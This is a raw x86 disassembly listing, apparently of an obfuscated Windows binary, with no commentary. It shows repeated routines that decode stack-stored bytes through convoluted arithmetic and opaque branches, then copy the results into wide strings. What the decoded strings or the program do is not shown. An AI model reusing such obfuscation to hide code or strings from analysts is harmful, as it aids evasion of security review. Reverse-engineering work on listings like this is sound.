movaps xmm0, xmmword [0x473a60]
movups xmmword [esp + 0x4d0], xmm0
mov dword [esp + 0x4e0], 0x1bea19e1
mov dword [esp + 0x4e4], 0x1ffb1d24
mov dword [esp + 0x4e8], 0x13f71196
mov word [esp + 0x4ec], 0x1512
xor eax, eax
mov dword [esp + 0x4ee], eax
mov dword [esp + 0x4f1], eax
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov edi, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x461ee8
mov bl, byte [esp + eax + 0x4c0]
movzx edx, bl
lea ecx, [edi + 1]
cmp esi, ecx
jae 0x461d0a
cmp edi, eax
ja 0x461efa
lea ebp, [esi + edi]
cmp ebp, eax
jbe 0x461d48
lea ebx, [edi + 0x10]
cmp esi, ebx
je 0x461e31
lea ecx, [edi + 0x20]
cmp esi, ecx
jne 0x461dd4
lea ecx, [eax + 0x7859114c]
lea ebx, [eax + edx]
add ebx, 0x7859114c
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xec
lea esi, [eax + 0x28859647]
lea ecx, [edx + eax]
add ecx, 0x28859647
and esi, edx
add esi, esi
sub ecx, esi
add cl, bl
add cl, 0xf
mov byte [esp + eax + 0x4c0], cl
jmp 0x461e1d
je 0x461da3
lea ebp, [edi + 2]
cmp esi, ebp
je 0x461d77
lea ebp, [edi + 3]
cmp esi, ebp
je 0x461d4d
lea ebp, [edi + 5]
cmp esi, ebp
jne 0x461e28
lea ecx, [eax + 0x4fd37b05]
lea ebx, [eax + edx]
add ebx, 0x4fd37b05
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xdd
add esi, edi
jmp 0x461e1b
cmp ebp, 0x61
jne 0x461daf
lea ebp, [eax - 0xec8535b]
lea ebx, [edx + eax]
add ebx, 0xf137aca5
and ebp, edx
add ebp, ebp
sub ebx, ebp
add bl, 0x7d
mov byte [esp + eax + 0x4c0], bl
movzx ebx, bl
not edi
add eax, edi
sub eax, ebx
mov edi, ecx
lea ebx, [eax + 0x5590b7d4]
lea ecx, [eax + edx]
add ecx, 0x5590b7d4
and ebx, edx
add ebx, ebx
sub ecx, ebx
add cl, 0x34
mov byte [esp + eax + 0x4c0], cl
sub eax, esi
inc esi
mov bl, byte [esp + eax + 0x4be]
add eax, 0xfffffffe
movzx ecx, bl
add ecx, edi
add eax, ecx
jmp 0x461e34
cmp esi, ecx
jne 0x461df5
lea edi, [eax + 0x5fd37fe9]
lea ebx, [edx + eax]
add ebx, 0x5fd37fe9
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0xa1
mov byte [esp + eax + 0x4c0], bl
jmp 0x461e31
lea ecx, [edi + 9]
cmp esi, ecx
jne 0x461e43
lea ecx, [eax + 0x9bd3e08]
lea ebx, [eax + edx]
add ebx, 0x9bd3e08
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xc8
jmp 0x461e1b
lea ecx, [edi + 3]
cmp esi, ecx
je 0x461e2f
lea ecx, [edi + 5]
cmp esi, ecx
jne 0x461e63
lea ecx, [eax - 0x629bcf99]
lea ebx, [eax + edx]
add ebx, 0x9d643067
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x2f
mov ebp, esi
movzx ecx, bl
not ecx
add eax, ecx
mov esi, ebp
jmp 0x461e34
lea ebp, [edi + 4]
cmp esi, ebp
jne 0x461e53
mov ecx, edi
dec eax
mov edi, ecx
inc eax
cmp eax, 0x35
jb 0x461c8a
jmp 0x461ef1
lea ecx, [edi + 0xa]
cmp esi, ecx
je 0x461d77
jmp 0x461c7a
lea ebp, [edi + 8]
cmp esi, ebp
jne 0x461ca3
jmp 0x461db3
lea ecx, [edi + 6]
cmp esi, ecx
je 0x461da3
cmp esi, 0xf
ja 0x461eac
lea ebx, [eax + 0x64590b2f]
lea ecx, [eax + edx]
add ecx, 0x64590b2f
and ebx, edx
add ebx, ebx
sub ecx, ebx
add cl, 0xb7
lea ebx, [edi + 2]
cmp esi, ebx
jbe 0x461ecb
lea ebx, [eax + 0x2485950e]
lea ecx, [eax + edx]
add ecx, 0x2485950e
and ebx, edx
add ebx, ebx
sub ecx, ebx
add cl, 0x9e
jmp 0x461edc
lea esi, [eax - 0x3bd374e8]
lea ecx, [eax + edx]
add ecx, 0xc42c8b18
and esi, edx
add esi, esi
sub ecx, esi
add bl, cl
add bl, 0x58
jmp 0x461ce4
je 0x461d77
lea edx, [edi + 4]
cmp esi, edx
je 0x461e2f
mov byte [esp + eax + 0x4c0], cl
jmp 0x461e34
lea edi, [esp + 0xec9383]
jmp 0x461f01
lea edi, [esp + 0x4c0]
jmp 0x461f01
lea edi, [esp + 0x1538854]
mov dword [esp + 0x20c], 0
mov dword [esp + 0x220], 7
mov word [esp + 0x20c], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
cmp eax, 7
jbe 0x461f59
cmp esi, 0x7fffffff
jae 0x463ef6
mov ebp, esi
or ebp, 7
cmp ebp, 0x7ffffffe
mov dword [esp], edi
jbe 0x461f82
mov ebp, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x461f9b
mov dword [esp + 0x21c], esi
mov eax, esi
add eax, esi
push eax
push edi
lea eax, [esp + 0x214]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + esi*2 + 0x20c], 0
jmp 0x461fe2
cmp ebp, 0xb
mov ebx, 0xa
cmovae ebx, ebp
lea eax, [ebx + ebx]
add eax, 2
cmp ebx, 0x7ff
jb 0x461faa
push eax
call fcn.0040130b
add esp, 4
mov edi, eax
mov ebx, ebp
jmp 0x461fb5
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0x21c], esi
mov dword [esp + 0x220], ebx
mov eax, esi
add eax, esi
push eax
push dword [esp + 4]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [edi + esi*2], 0
mov dword [esp + 0x20c], edi
movaps xmm0, xmmword [0x473a70]
movups xmmword [esp + 0x364], xmm0
mov dword [esp + 0x374], 0xc3bfc5f4
mov dword [esp + 0x378], 0xdfbbc14a
mov word [esp + 0x37c], 0xddde
xorps xmm0, xmm0
movups xmmword [esp + 0x37e], xmm0
mov byte [esp + 0x38e], 0
call fcn.0046d640
mov ebp, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp ebp, eax
ja 0x462290
mov bl, byte [esp + eax + 0x364]
movzx edi, bl
lea edx, [ecx + 1]
cmp ebp, edx
jae 0x46209e
cmp ecx, eax
ja 0x4622a2
lea esi, [ecx + ebp]
cmp esi, eax
jbe 0x46211b
lea esi, [ecx + 9]
cmp ebp, esi
je 0x462226
lea esi, [ecx + 5]
cmp ebp, esi
je 0x462245
lea esi, [ecx + 6]
cmp ebp, esi
jne 0x462254
lea edx, [eax - 0x4dcdd48]
lea ebx, [eax + edi]
add ebx, 0xfb2322b8
and edx, edi
add edx, edx
sub ebx, edx
add bl, 0xf8
jmp 0x4621f7
jne 0x4620a4
mov edx, ecx
jmp 0x46210f
lea esi, [ecx + 2]
cmp ebp, esi
jne 0x46215c
lea esi, [eax - 0x6678232d]
lea ebx, [eax + edi]
add ebx, 0x9987dcd3
and esi, edi
add esi, esi
sub ebx, esi
add bl, 0x3b
mov byte [esp + eax + 0x364], bl
movzx esi, bl
not ecx
add ecx, eax
mov ebx, ecx
sub ebx, esi
mov dword [esp], ebp
mov ebp, edi
lea edi, [ebx - 0x379393f4]
lea eax, [ebx + ebp]
add eax, 0xc86c6c0c
and edi, ebp
mov ebp, dword [esp]
add edi, edi
sub eax, edi
add al, 0xac
mov byte [esp + ebx + 0x364], al
add esi, ebp
inc ebp
sub ecx, esi
mov bl, byte [esp + ecx + 0x362]
add ecx, 0xfffffffe
mov eax, ecx
movzx ecx, bl
add ecx, edx
add eax, ecx
jmp 0x462246
mov dword [esp], esi
lea esi, [ecx + 6]
cmp ebp, esi
jbe 0x462181
mov dword [esp + 4], ebx
lea esi, [eax + 0x2c762095]
lea ebx, [eax + edi]
add ebx, 0x2c762095
and esi, edi
add esi, esi
sub ebx, esi
add bl, 0xed
mov esi, ebx
cmp ebp, 1
mov ebx, dword [esp + 4]
ja 0x4621b9
cmp ebp, edx
jne 0x462216
xor ebp, ebp
inc ebp
jmp 0x4620a0
lea esi, [ecx + 3]
cmp ebp, esi
jne 0x462202
lea edx, [eax - 0x59f6f6ff]
lea ebx, [eax + edi]
add ebx, 0xa6090901
and edx, edi
add edx, edx
sub ebx, edx
add bl, 0xf9
jmp 0x4621f7
cmp ebp, edx
je 0x462226
lea esi, [ecx + 2]
cmp ebp, esi
je 0x462245
lea esi, [ecx + 5]
cmp ebp, esi
jne 0x462264
lea edx, [eax + 0x163b8cf]
lea ebx, [eax + edi]
add ebx, 0x163b8cf
and edx, edi
add edx, edx
sub ebx, edx
add bl, 0x57
jmp 0x4621f4
lea esi, [eax + 0xcda2f28]
lea edx, [eax + edi]
add edx, 0xcda2f28
and esi, edi
add esi, esi
sub edx, esi
add bl, dl
add bl, 0xe8
lea esi, [eax + 0x3bbebe61]
lea edx, [eax + edi]
add edx, 0x3bbebe61
and esi, edi
add esi, esi
sub edx, esi
add dl, bl
add dl, 0x59
mov byte [esp + eax + 0x364], dl
mov ebp, dword [esp]
movzx edx, bl
not edx
add eax, edx
mov edx, ecx
jmp 0x462246
lea esi, [ecx + 4]
cmp ebp, esi
je 0x462245
lea esi, [ecx + 7]
cmp ebp, esi
jne 0x46204d
jmp 0x462226
cmp ecx, 7
ja 0x462226
mov edx, esi
mov byte [esp + eax + 0x364], dl
jmp 0x4621fe
lea esi, [eax - 0x220a6011]
lea ecx, [eax + edi]
add ecx, 0xddf59fef
and esi, edi
add esi, esi
sub ecx, esi
add cl, 0x77
mov byte [esp + eax + 0x364], cl
dec eax
inc eax
mov ecx, edx
cmp eax, 0x2b
jb 0x462034
jmp 0x462299
lea esi, [ecx + 3]
cmp ebp, esi
je 0x4620af
jmp 0x462024
lea esi, [ecx + 3]
cmp ebp, esi
je 0x4620af
mov dword [esp + 4], ebx
lea esi, [eax + 0x2ee48f39]
lea ebx, [eax + edi]
add ebx, 0x2ee48f39
and esi, edi
add esi, esi
sub ebx, esi
add bl, 0x71
jmp 0x462141
lea edi, [esp + 0x74cce9]
jmp 0x4622a9
lea edi, [esp + 0x364]
jmp 0x4622a9
lea edi, [esp + 0x1503db0]
mov dword [esp + 0x224], 0
mov dword [esp + 0x238], 7
mov word [esp + 0x224], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
cmp eax, 7
jbe 0x462301
cmp esi, 0x7fffffff
jae 0x463ef6
mov ebp, esi
or ebp, 7
cmp ebp, 0x7ffffffe
mov dword [esp], edi
jbe 0x46232a
mov ebp, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x462343
mov dword [esp + 0x234], esi
mov eax, esi
add eax, esi
push eax
push edi
lea eax, [esp + 0x22c]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + esi*2 + 0x224], 0
jmp 0x46238a
cmp ebp, 0xb
mov ebx, 0xa
cmovae ebx, ebp
lea eax, [ebx + ebx]
add eax, 2
cmp ebx, 0x7ff
jb 0x462352
push eax
call fcn.0040130b
add esp, 4
mov edi, eax
mov ebx, ebp
jmp 0x46235d
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0x234], esi
mov dword [esp + 0x238], ebx
mov eax, esi
add eax, esi
push eax
push dword [esp + 4]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [edi + esi*2], 0
mov dword [esp + 0x224], edi
movaps xmm0, xmmword [0x473a80]
movups xmmword [esp + 0x434], xmm0
mov dword [esp + 0x444], 0x1b871dce
mov dword [esp + 0x448], 0x178b1990
mov word [esp + 0x44c], 0x1514
xorps xmm0, xmm0
movups xmmword [esp + 0x44e], xmm0
mov dword [esp + 0x45e], 0
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x46266c
mov bl, byte [esp + eax + 0x434]
movzx edi, bl
lea ebp, [ecx + 1]
cmp esi, ebp
jae 0x462419
cmp ecx, eax
ja 0x46267e
lea edx, [esi + ecx]
cmp edx, eax
jbe 0x46244e
lea edx, [ecx + 0x20]
cmp esi, edx
je 0x462453
lea edx, [ecx + 0x28]
mov ebp, ecx
cmp esi, edx
je 0x46247d
jmp 0x4623cf
je 0x4624ab
lea edx, [ecx + 2]
cmp esi, edx
je 0x462453
lea edx, [ecx + 3]
cmp esi, edx
jne 0x462537
lea edx, [eax + 0x6fbca6c2]
lea ebx, [eax + edi]
add ebx, 0x6fbca6c2
and edx, edi
add edx, edx
sub ebx, edx
add bl, 0xb2
jmp 0x4625d5
cmp edx, 0x5a
jne 0x4624c1
lea ebx, [eax + 0x695113e6]
lea edx, [eax + edi]
add edx, 0x695113e6
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0xb6
mov byte [esp + eax + 0x434], dl
movzx edx, dl
not ecx
add ecx, eax
sub ecx, edx
mov eax, ecx
lea edx, [eax + 0x3cd7d118]
lea ecx, [eax + edi]
add ecx, 0x3cd7d118
and edx, edi
add edx, edx
sub ecx, edx
add cl, 0x58
mov byte [esp + eax + 0x434], cl
sub eax, esi
inc esi
mov bl, byte [esp + eax + 0x432]
add eax, 0xfffffffe
mov ecx, ebp
movzx edx, bl
add edx, ecx
add eax, edx
inc eax
cmp eax, 0x2e
jb 0x4623df
jmp 0x462675
mov dword [esp + 4], edx
lea edx, [ecx + 0x28]
cmp esi, edx
jbe 0x462560
lea edx, [eax + 0x671b14ea]
mov dword [esp + 8], edx
lea edx, [eax + edi]
add edx, 0x671b14ea
mov dword [esp], edx
mov edx, dword [esp + 8]
and edx, edi
add edx, edx
sub dword [esp], edx
mov edx, dword [esp]
add dl, 0x9a
mov dword [esp], edx
cmp esi, 0xf
ja 0x462594
cmp esi, ebp
je 0x4624ab
lea edx, [ecx + 2]
cmp esi, edx
je 0x462623
lea edx, [ecx + 3]
cmp esi, edx
jne 0x46262a
lea edx, [eax - 0x548687a4]
lea ebx, [eax + edi]
add ebx, 0xab79785c
and edx, edi
add edx, edx
sub ebx, edx
add bl, 0x7c
jmp 0x4625ae
lea edx, [ecx + 5]
cmp esi, edx
jne 0x4625df
lea edx, [eax - 0x42286476]
lea ebx, [eax + edi]
add ebx, 0xbdd79b8a
and edx, edi
add edx, edx
sub ebx, edx
add bl, 0x3a
add esi, ecx
mov ebp, esi
jmp 0x4625b2
cmp esi, ebp
je 0x4625f5
lea edx, [ecx + 3]
cmp esi, edx
je 0x4625e6
lea edx, [ecx + 5]
cmp esi, edx
jne 0x46261c
lea edx, [eax + 0x516bf342]
lea ebx, [eax + edi]
add ebx, 0x516bf342
and edx, edi
add edx, edx
sub ebx, edx
add bl, 0x32
jmp 0x4625d5
lea esi, [eax - 0x114323b0]
lea edx, [eax + edi]
add edx, 0xeebcdc50
and esi, edi
add esi, esi
sub edx, esi
add bl, dl
add bl, 0xd0
mov ebp, dword [esp + 4]
lea esi, [eax - 0x3dbc667e]
lea edx, [edi + eax]
add edx, 0xc2439982
and esi, edi
add esi, esi
sub edx, esi
add dl, bl
add dl, 0x72
mov byte [esp + eax + 0x434], dl
mov esi, ebp
movzx edx, bl
not edx
jmp 0x4624b0
lea edx, [ecx + 7]
cmp esi, edx
jne 0x4625ea
mov ebp, ecx
jmp 0x462614
lea edx, [ecx + 8]
cmp esi, edx
jne 0x4623f8
lea edx, [eax + 0x1b361f1e]
lea ecx, [edi + eax]
add ecx, 0x1b361f1e
and edx, edi
add edx, edx
sub ecx, edx
add cl, 0x2e
mov byte [esp + eax + 0x434], cl
dec eax
mov ecx, ebp
jmp 0x4624b2
lea edx, [ecx + 2]
cmp esi, edx
jne 0x462640
mov ebp, ecx
jmp 0x46247d
lea edx, [ecx + 7]
cmp esi, edx
je 0x4625e6
mov edx, dword [esp]
mov byte [esp + eax + 0x434], dl
jmp 0x4624b2
lea edx, [eax - 0x2c7942ce]
mov dword [esp + 8], edx
lea edx, [eax + edi]
add edx, 0xd386bd32
mov dword [esp], edx
mov edx, dword [esp + 8]
and edx, edi
add edx, edx
sub dword [esp], edx
mov edx, dword [esp]
add dl, 0xa2
jmp 0x4624f7
lea edi, [esp + 0x10ddefe]
jmp 0x462685
lea edi, [esp + 0x434]
jmp 0x462685
lea edi, [esp + 0x14721cc]
mov dword [esp + 0x23c], 0
mov dword [esp + 0x250], 7
mov word [esp + 0x23c], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
cmp eax, 7
jbe 0x4626dd
cmp esi, 0x7fffffff
jae 0x463ef6
mov ebp, esi
or ebp, 7
cmp ebp, 0x7ffffffe
mov dword [esp], edi
jbe 0x462706
mov ebp, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x46271f
mov dword [esp + 0x24c], esi
mov eax, esi
add eax, esi
push eax
push edi
lea eax, [esp + 0x244]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + esi*2 + 0x23c], 0
jmp 0x462766
cmp ebp, 0xb
mov ebx, 0xa
cmovae ebx, ebp
lea eax, [ebx + ebx]
add eax, 2
cmp ebx, 0x7ff
jb 0x46272e
push eax
call fcn.0040130b
add esp, 4
mov edi, eax
mov ebx, ebp
jmp 0x462739
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0x24c], esi
mov dword [esp + 0x250], ebx
mov eax, esi
add eax, esi
push eax
push dword [esp + 4]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [edi + esi*2], 0
mov dword [esp + 0x23c], edi
movaps xmm0, xmmword [str._rm_bs]
movups xmmword [esp + 0x4f8], xmm0
mov dword [esp + 0x508], 0x83827d19
xorps xmm0, xmm0
movups xmmword [esp + 0x50c], xmm0
movups xmmword [esp + 0x518], xmm0
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x462b15
mov dl, byte [esp + eax + 0x4f8]
movzx edi, dl
mov dword [esp], edi
lea ebp, [ecx + 1]
cmp esi, ebp
jae 0x46281e
cmp ecx, eax
ja 0x462b27
lea edi, [ecx + 9]
cmp esi, edi
jae 0x462852
lea edi, [esi + ecx]
cmp edi, eax
jbe 0x462881
lea edx, [ecx + 2]
cmp esi, edx
je 0x4629f8
lea edx, [ecx + 0x20]
cmp esi, edx
je 0x4629f6
lea edx, [ecx + 0x2a]
cmp esi, edx
jne 0x462a96
lea esi, [eax - 0x4603474c]
mov ebx, dword [esp]
lea edx, [eax + ebx]
add edx, 0xb9fcb8b4
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0x14
jmp 0x462abe
jne 0x462827
mov ebp, ecx
jmp 0x4628ef
lea edi, [ecx + 2]
cmp esi, edi
jne 0x4628fb
lea edi, [eax + 0x4aee64de]
mov ebx, dword [esp]
lea edx, [eax + ebx]
add edx, 0x4aee64de
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0xee
jmp 0x462abc
cmp esi, ebp
jne 0x462928
lea edx, [eax - 0x183b44be]
mov edi, dword [esp]
lea ecx, [edi + eax]
add ecx, 0xe7c4bb42
and edx, edi
add edx, edx
sub ecx, edx
add cl, 0x32
mov byte [esp + eax + 0x4f8], cl
jmp 0x4629f8
cmp edi, 0xa
jne 0x46295e
lea edi, [eax - 0x68b4df06]
mov ebx, dword [esp]
lea edx, [eax + ebx]
add edx, 0x974b20fa
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0x2a
mov byte [esp + eax + 0x4f8], dl
movzx edx, dl
mov dword [esp + 4], edx
not ecx
add ecx, eax
mov edi, ecx
sub edi, edx
mov edx, ebx
lea ebx, [edi - 0x7cd34598]
lea eax, [edi + edx]
add eax, 0x832cba68
and ebx, edx
add ebx, ebx
sub eax, ebx
add al, 0x28
mov byte [esp + edi + 0x4f8], al
mov eax, dword [esp + 4]
add eax, esi
inc esi
sub ecx, eax
mov dl, byte [esp + ecx + 0x4f6]
add ecx, 0xfffffffe
mov eax, ecx
movzx ecx, dl
add ecx, ebp
add eax, ecx
jmp 0x4629f9
lea edi, [ecx + 3]
cmp esi, edi
jne 0x4629ef
lea edi, [eax + 0x22b197ba]
mov ebx, dword [esp]
lea edx, [eax + ebx]
add edx, 0x22b197ba
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0xea
add esi, ecx
jmp 0x462abc
lea edi, [ecx + 2]
cmp esi, edi
je 0x4629f8
lea edi, [ecx + 4]
cmp esi, edi
jne 0x462a3f
lea edi, [eax + 0x6814c72e]
mov ebx, dword [esp]
lea edx, [eax + ebx]
add edx, 0x6814c72e
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0xbe
jmp 0x462abc
mov dword [esp + 4], edi
lea edi, [eax - 0x141e6692]
mov ebx, dword [esp]
add ebx, eax
add ebx, 0xebe1996e
and edi, dword [esp]
add edi, edi
sub ebx, edi
add bl, 0xfe
mov dword [esp + 8], ebx
cmp esi, ebp
jbe 0x462a00
lea edi, [eax + 0x34c18f36]
mov ebx, dword [esp]
add ebx, eax
add ebx, 0x34c18f36
and edi, dword [esp]
add edi, edi
sub ebx, edi
add bl, 0x86
mov dword [esp + 8], ebx
cmp esi, 8
mov edi, dword [esp + 4]
ja 0x462a4f
cmp esi, ebp
je 0x462820
lea edx, [ecx + 3]
cmp esi, edx
je 0x46288a
lea edx, [ecx + 4]
cmp esi, edx
jne 0x462aff
lea esi, [eax - 0x3aecdc78]
mov ebx, dword [esp]
lea edx, [eax + ebx]
add edx, 0xc5132388
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0x48
jmp 0x462abe
lea edi, [ecx + 7]
cmp esi, edi
jne 0x462a32
mov ebp, ecx
dec eax
mov ecx, ebp
jmp 0x462ac7
je 0x46285a
lea edi, [ecx + 2]
cmp esi, edi
jne 0x462ad3
lea esi, [eax - 0x6c31a55a]
mov edi, dword [esp]
lea edx, [eax + edi]
add edx, 0x93ce5aa6
and esi, edi
add esi, esi
sub edx, esi
add dl, 0x76
mov edi, dword [esp + 4]
jmp 0x462a6e
lea edi, [ecx + 5]
cmp esi, edi
jne 0x4627bf
jmp 0x4629f8
lea edi, [ecx + 8]
cmp esi, edi
jne 0x4627d2
jmp 0x462820
lea esi, [eax - 0x2c59ab50]
mov ebx, dword [esp]
lea ebp, [eax + ebx]
add ebp, 0xd3a654b0
and esi, ebx
add esi, esi
mov ebx, ebp
sub ebx, esi
add dl, bl
add dl, 0x30
lea esi, [eax - 0x407811e2]
mov ebx, dword [esp]
lea ebp, [eax + ebx]
add ebp, 0xbf87ee1e
and esi, ebx
add esi, esi
mov ebx, ebp
sub ebx, esi
add bl, dl
add bl, 0x2e
mov byte [esp + eax + 0x4f8], bl
jmp 0x462abe
lea edx, [ecx + 0xa]
cmp esi, edx
jne 0x462793
lea edi, [eax - 0x6e401470]
mov ebx, dword [esp]
lea edx, [eax + ebx]
add edx, 0x91bfeb90
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0x10
mov edi, esi
movzx edx, dl
not edx
add eax, edx
mov esi, edi
inc eax
cmp eax, 0x30
jb 0x4627a3
jmp 0x462b1e
lea edi, [ecx + 3]
cmp esi, edi
jne 0x4629a4
lea esi, [eax + 0x6b918d82]
mov edi, dword [esp]
lea edx, [eax + edi]
add edx, 0x6b918d82
and esi, edi
add esi, esi
sub edx, esi
add dl, 0x72
mov edi, dword [esp + 4]
jmp 0x462abe
cmp ecx, 0x1f
ja 0x46285a
mov edx, dword [esp + 8]
mov byte [esp + eax + 0x4f8], dl
jmp 0x462ac7
lea edi, [esp + 0x134b44e]
jmp 0x462b2e
lea edi, [esp + 0x4f8]
jmp 0x462b2e
lea edi, [esp + 0x1531ae0]
mov dword [esp + 0x254], 0
mov dword [esp + 0x268], 7
mov word [esp + 0x254], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
cmp eax, 7
jbe 0x462b86
cmp esi, 0x7fffffff
jae 0x463ef6
mov ebp, esi
or ebp, 7
cmp ebp, 0x7ffffffe
mov dword [esp], edi
jbe 0x462baf
mov ebp, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x462bc8
mov dword [esp + 0x264], esi
mov eax, esi
add eax, esi
push eax
push edi
lea eax, [esp + 0x25c]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + esi*2 + 0x254], 0
jmp 0x462c0f
cmp ebp, 0xb
mov ebx, 0xa
cmovae ebx, ebp
lea eax, [ebx + ebx]
add eax, 2
cmp ebx, 0x7ff
jb 0x462bd7
push eax
call fcn.0040130b
add esp, 4
mov edi, eax
mov ebx, ebp
jmp 0x462be2
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0x264], esi
mov dword [esp + 0x268], ebx
mov eax, esi
add eax, esi
push eax
push dword [esp + 4]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [edi + esi*2], 0
mov dword [esp + 0x254], edi
movaps xmm0, xmmword [str.]
movups xmmword [esp + 0x2f0], xmm0
movaps xmm0, xmmword [0x473ab0]
movups xmmword [esp + 0x300], xmm0
mov word [esp + 0x310], 0
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ebp, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x4631ac
movzx edx, byte [esp + eax + 0x2f0]
lea edi, [ebp + 1]
cmp esi, edi
jae 0x462cd1
lea ecx, [eax + 0x2b674b8]
lea ebx, [eax + edx]
add ebx, 0x2b674b8
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xf8
cmp ebp, eax
ja 0x4631be
mov dword [esp], edi
lea edi, [ebp + 6]
cmp esi, edi
jae 0x462d1c
lea ecx, [eax + 0x38f79318]
lea ebx, [eax + edx]
add ebx, 0x38f79318
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x58
lea ecx, [esi + ebp]
cmp ecx, eax
jbe 0x462d6e
cmp esi, edi
jne 0x462e42
mov edi, esi
lea ecx, [eax + 0x2a662710]
lea ebx, [eax + edx]
add ebx, 0x2a662710
and ecx, edx
mov byte [esp + 8], 0x90
jmp 0x462d3d
jne 0x462cf0
lea ecx, [eax + 0x8235e28]
lea ebx, [eax + edx]
add ebx, 0x8235e28
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xe8
jmp 0x462fdd
lea ecx, [ebp + 2]
cmp esi, ecx
jne 0x462df0
mov dword [esp + 4], esi
lea ecx, [eax + 0x12fd3108]
lea ebx, [eax + edx]
add ebx, 0x12fd3108
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xc8
jmp 0x462dc1
cmp esi, dword [esp]
jne 0x462e18
mov edi, esi
lea ecx, [eax + 0x3e647c88]
lea ebx, [eax + edx]
add ebx, 0x3e647c88
and ecx, edx
mov byte [esp + 8], 0x48
add ecx, ecx
sub ebx, ecx
add bl, byte [esp + 8]
lea esi, [eax + 0x1768f608]
lea ecx, [edx + eax]
add ecx, 0x1768f608
and esi, edx
add esi, esi
sub ecx, esi
add cl, 0xc8
mov byte [esp + eax + 0x2f0], cl
mov esi, edi
mov edi, dword [esp]
jmp 0x462f7c
mov dword [esp + 8], ecx
lea ecx, [ebp + 0x20]
cmp esi, ecx
jae 0x462e6a
mov dword [esp + 4], esi
lea ecx, [eax + 0x2b674b8]
lea ebx, [eax + edx]
add ebx, 0x2b674b8
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xf8
cmp dword [esp + 8], 2
jne 0x462edd
lea ecx, [eax + 0x1f8c5430]
lea ebx, [eax + edx]
add ebx, 0x1f8c5430
and ecx, edx
add ecx, ecx
sub ebx, ecx
sub bl, dl
add bl, 0xb0
mov edi, dword [esp]
lea esi, [eax + 0x2242c8e8]
lea ecx, [edx + eax]
add ecx, 0x2242c8e8
and esi, edx
add esi, esi
sub ecx, esi
add cl, 0xa8
mov byte [esp + eax + 0x2f0], cl
movzx ecx, cl
not ebp
add ebp, eax
sub ebp, ecx
mov eax, ebp
jmp 0x462faa
lea ecx, [ebp + 4]
cmp esi, ecx
jne 0x462e90
lea ecx, [eax + 0x1dd703e8]
lea ebx, [eax + edx]
add ebx, 0x1dd703e8
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xa8
jmp 0x4630b3
lea ecx, [ebp + 2]
cmp esi, ecx
jne 0x462eb5
lea ecx, [eax + 0x493e4f68]
lea ebx, [eax + edx]
add ebx, 0x493e4f68
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x28
mov edi, ebp
jmp 0x462f7c
lea ecx, [ebp + 0xa]
cmp esi, ecx
jne 0x462f07
lea ecx, [eax + 0x2fd31080]
lea ebx, [eax + edx]
add ebx, 0x2fd31080
and ecx, edx
add ecx, ecx
sub ebx, ecx
xor bl, 0x80
jmp 0x462d66
cmp esi, dword [esp]
jne 0x462f30
lea ecx, [eax + 0x71ef2630]
lea ebx, [eax + edx]
add ebx, 0x71ef2630
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xb0
jmp 0x462fdd
lea ecx, [ebp + 5]
cmp esi, ecx
jne 0x462f59
mov edi, esi
lea esi, [eax + 0x2343ed58]
lea ebx, [eax + edx]
add ebx, 0x2343ed58
and esi, edx
mov cl, 0x98
jmp 0x46308a
lea ecx, [ebp + 3]
cmp esi, ecx
jne 0x462f84
lea ecx, [eax + 0x54182248]
lea ebx, [eax + edx]
add ebx, 0x54182248
